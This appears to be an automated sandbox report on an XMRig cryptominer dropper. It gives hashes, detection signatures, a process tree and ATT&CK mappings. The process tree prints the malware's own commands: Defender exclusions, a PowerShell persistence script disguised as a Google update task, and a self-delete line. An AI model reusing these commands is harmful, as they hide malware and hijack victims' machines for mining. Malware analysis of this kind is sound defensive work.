xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1314s
max time network
1802s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

Y2JYGshMHJGuGREA.exeupdater.execonhost.exe

description	pid	process	target process
PID 1700 created 1288	1700	Y2JYGshMHJGuGREA.exe	Explorer.EXE
PID 1700 created 1288	1700	Y2JYGshMHJGuGREA.exe	Explorer.EXE
PID 1700 created 1288	1700	Y2JYGshMHJGuGREA.exe	Explorer.EXE
PID 1700 created 1288	1700	Y2JYGshMHJGuGREA.exe	Explorer.EXE
PID 1420 created 1288	1420	updater.exe	Explorer.EXE
PID 1420 created 1288	1420	updater.exe	Explorer.EXE
PID 1420 created 1288	1420	updater.exe	Explorer.EXE
PID 1420 created 1288	1420	updater.exe	Explorer.EXE
PID 1344 created 1288	1344	conhost.exe	Explorer.EXE
PID 1420 created 1288	1420	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

Processes:

resource	yara_rule
behavioral29/memory/2304-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral29/memory/2304-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2568 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1420 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

1904 taskeng.exe

pid	process
2568	cmd.exe

pid	process
1420	updater.exe

pid	process
1904	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral29/memory/2304-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral29/memory/2304-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 1420 set thread context of 1344	1420	updater.exe	conhost.exe
PID 1420 set thread context of 2304	1420	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

Y2JYGshMHJGuGREA.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	Y2JYGshMHJGuGREA.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2716 schtasks.exe
2748 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2752 WMIC.exe

pid	process
2716	schtasks.exe
2748	schtasks.exe

pid	process
2752	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0e18215894eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

Y2JYGshMHJGuGREA.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
1700	Y2JYGshMHJGuGREA.exe
1700	Y2JYGshMHJGuGREA.exe
2160	powershell.exe
1700	Y2JYGshMHJGuGREA.exe
1700	Y2JYGshMHJGuGREA.exe
2644	powershell.exe
1700	Y2JYGshMHJGuGREA.exe
1700	Y2JYGshMHJGuGREA.exe
1700	Y2JYGshMHJGuGREA.exe
1700	Y2JYGshMHJGuGREA.exe
2688	powershell.exe
1420	updater.exe
1420	updater.exe
1928	powershell.exe
1420	updater.exe
1420	updater.exe
2440	powershell.exe
1420	updater.exe
1420	updater.exe
1420	updater.exe
1420	updater.exe
1344	conhost.exe
1344	conhost.exe
1420	updater.exe
1420	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeDebugPrivilege	1420	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2752	WMIC.exe
Token: SeSecurityPrivilege	2752	WMIC.exe
Token: SeTakeOwnershipPrivilege	2752	WMIC.exe
Token: SeLoadDriverPrivilege	2752	WMIC.exe
Token: SeSystemtimePrivilege	2752	WMIC.exe
Token: SeBackupPrivilege	2752	WMIC.exe
Token: SeRestorePrivilege	2752	WMIC.exe
Token: SeShutdownPrivilege	2752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2752	WMIC.exe
Token: SeUndockPrivilege	2752	WMIC.exe
Token: SeManageVolumePrivilege	2752	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2752	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2752	WMIC.exe
Token: SeSecurityPrivilege	2752	WMIC.exe
Token: SeTakeOwnershipPrivilege	2752	WMIC.exe
Token: SeLoadDriverPrivilege	2752	WMIC.exe
Token: SeSystemtimePrivilege	2752	WMIC.exe
Token: SeBackupPrivilege	2752	WMIC.exe
Token: SeRestorePrivilege	2752	WMIC.exe
Token: SeShutdownPrivilege	2752	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2752	WMIC.exe
Token: SeUndockPrivilege	2752	WMIC.exe
Token: SeManageVolumePrivilege	2752	WMIC.exe
Token: SeLockMemoryPrivilege	2304	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2644 wrote to memory of 2716	2644	powershell.exe	schtasks.exe
PID 2644 wrote to memory of 2716	2644	powershell.exe	schtasks.exe
PID 2644 wrote to memory of 2716	2644	powershell.exe	schtasks.exe
PID 2568 wrote to memory of 2832	2568	cmd.exe	choice.exe
PID 2568 wrote to memory of 2832	2568	cmd.exe	choice.exe
PID 2568 wrote to memory of 2832	2568	cmd.exe	choice.exe
PID 2688 wrote to memory of 2464	2688	powershell.exe	schtasks.exe
PID 2688 wrote to memory of 2464	2688	powershell.exe	schtasks.exe
PID 2688 wrote to memory of 2464	2688	powershell.exe	schtasks.exe
PID 1904 wrote to memory of 1420	1904	taskeng.exe	updater.exe
PID 1904 wrote to memory of 1420	1904	taskeng.exe	updater.exe
PID 1904 wrote to memory of 1420	1904	taskeng.exe	updater.exe
PID 2440 wrote to memory of 2748	2440	powershell.exe	schtasks.exe
PID 2440 wrote to memory of 2748	2440	powershell.exe	schtasks.exe
PID 2440 wrote to memory of 2748	2440	powershell.exe	schtasks.exe
PID 1420 wrote to memory of 1344	1420	updater.exe	conhost.exe
PID 608 wrote to memory of 2752	608	cmd.exe	WMIC.exe
PID 608 wrote to memory of 2752	608	cmd.exe	WMIC.exe
PID 608 wrote to memory of 2752	608	cmd.exe	WMIC.exe
PID 1420 wrote to memory of 2304	1420	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1288

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2716

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2440

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2748

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:608

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:852

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1344

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2304

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2832

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2464

C:\Windows\system32\taskeng.exe
taskeng.exe {8D6CD984-C78B-4213-8D2B-454F51F3AA3C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1904

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
592KB

MD5
7f839858fd1502ea9642f5608b45c21d

SHA1
3b1b7c0e9856c333762d11a89fc08922e2c36feb

SHA256
23d96da5050bff08efb7fdd18909f5eee7b9908de477865f2baf03c1d80c1dff

SHA512
e09bffdd4f9baff8cf54bf3a85d60eb1c41d5b9747fa3d4d1abacbc90eda19e04b2783e5f8420938ae742457ea5cd6a13e6bcf2291326eb64dc19976008446fe

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
155KB

MD5
ca97b5ba419d5f1219565bbca59570f4

SHA1
6f1d221d2bf42a70f4d24a7895450cfbbef76598

SHA256
1b4007acb714fbe9636d0b74729eb31a992b71dbeccdec2c0e91101be8e6229f

SHA512
6ce07960f400fc6a2d6258ccc87b3107619a97bd654011c342482ada58ebe5586cde12a62567501eadde440a2280f6a0912b524e8e14a499b94173010041388a

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
83b0bcc3c9ca9377cbb8cdb171dc50f6

SHA1
2f70f135bb1ffd9e87104072484b4b99fd7637eb

SHA256
9a6f05355c176ed101be0c2bfc132831e8ec79eeaa59c0473df1183d69fe060c

SHA512
4590855199bd4167914c7214ddc1c57ecf47505c866a382900ec64138919de9cffd501646bb62c88b24225e74b1dc666d5fd4c3dc1f68eac82a18a4f28fbfb99

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
652KB

MD5
187bbb328983d1eb2a817aa20fd2de49

SHA1
ba9385e46cd638b19564480bf777d353bcf5760c

SHA256
5b620a301857c4574d7b5441a19171255612ef7511896a52fb6bbcf041904533

SHA512
e0f3b49ecf5f1b7e1e2a37ac73d70274f6dd72cfe8aeeb01e5d91fd2b3e7342bdef692c7093e262a0c3ddf09a4829c8da0990221c9927a6fe096f9feb2bedcad

Download Submit
memory/1344-73-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1344-69-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1420-64-0x000000013FFD0000-0x00000001401E1000-memory.dmp

Filesize
2.1MB

Download
memory/1420-44-0x000000013FFD0000-0x00000001401E1000-memory.dmp

Filesize
2.1MB

Download
memory/1700-28-0x000000013FE80000-0x0000000140091000-memory.dmp

Filesize
2.1MB

Download
memory/1700-0-0x000000013FE80000-0x0000000140091000-memory.dmp

Filesize
2.1MB

Download
memory/1928-46-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/1928-51-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1928-45-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1928-47-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1928-48-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/1928-49-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/1928-50-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/2160-8-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2160-10-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2160-9-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-7-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-13-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2160-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2160-5-0x000000001B100000-0x000000001B3E2000-memory.dmp

Filesize
2.9MB

Download
memory/2160-12-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2160-11-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/2304-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-65-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/2304-67-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/2304-68-0x0000000000850000-0x0000000000870000-memory.dmp

Filesize
128KB

Download
memory/2304-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2304-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
